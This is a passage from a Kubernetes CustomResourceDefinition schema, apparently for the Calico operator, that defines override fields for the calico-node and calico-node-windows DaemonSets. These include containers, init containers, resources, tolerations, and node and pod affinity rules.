                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of calico-node containers.
                                    If specified, this overrides the specified calico-node DaemonSet containers.
                                    If omitted, the calico-node DaemonSet will use its default values for its containers.
                                  items:
                                    description: CalicoNodeDaemonSetContainer is a
                                      calico-node DaemonSet container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the calico-node DaemonSet container by name.
                                          Supported values are: calico-node
                                        enum:
                                        - calico-node
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-node DaemonSet container's resources.
                                          If omitted, the calico-node DaemonSet will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                initContainers:
                                  description: |-
                                    InitContainers is a list of calico-node init containers.
                                    If specified, this overrides the specified calico-node DaemonSet init containers.
                                    If omitted, the calico-node DaemonSet will use its default values for its init containers.
                                  items:
                                    description: CalicoNodeDaemonSetInitContainer
                                      is a calico-node DaemonSet init container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the calico-node DaemonSet init container by name.
                                          Supported values are: install-cni, hostpath-init, flexvol-driver, mount-bpffs, node-certs-key-cert-provisioner, calico-node-prometheus-server-tls-key-cert-provisioner
                                        enum:
                                        - install-cni
                                        - hostpath-init
                                        - flexvol-driver
                                        - mount-bpffs
                                        - node-certs-key-cert-provisioner
                                        - calico-node-prometheus-server-tls-key-cert-provisioner
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-node DaemonSet init container's resources.
                                          If omitted, the calico-node DaemonSet will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the calico-node pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the calico-node DaemonSet nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the calico-node DaemonSet will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default calico-node DaemonSet nodeSelector.
                                  type: object
                                tolerations:
                                  description: |-
                                    Tolerations is the calico-node pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the calico-node DaemonSet.
                                    If omitted, the calico-node DaemonSet will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default calico-node DaemonSet tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                calicoNodeWindowsDaemonSet:
                  description: CalicoNodeWindowsDaemonSet configures the calico-node-windows
                    DaemonSet.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the DaemonSet.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the calico-node-windows
                        DaemonSet.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the calico-node-windows DaemonSet.
                            If omitted, the calico-node-windows DaemonSet will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the calico-node-windows
                            DaemonSet pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the calico-node-windows DaemonSet's
                                PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the calico-node-windows pods.
                                    If specified, this overrides any affinity that may be set on the calico-node-windows DaemonSet.
                                    If omitted, the calico-node-windows DaemonSet will use its default value for affinity.
                                    WARNING: Please note that this field will override the default calico-node-windows DaemonSet affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
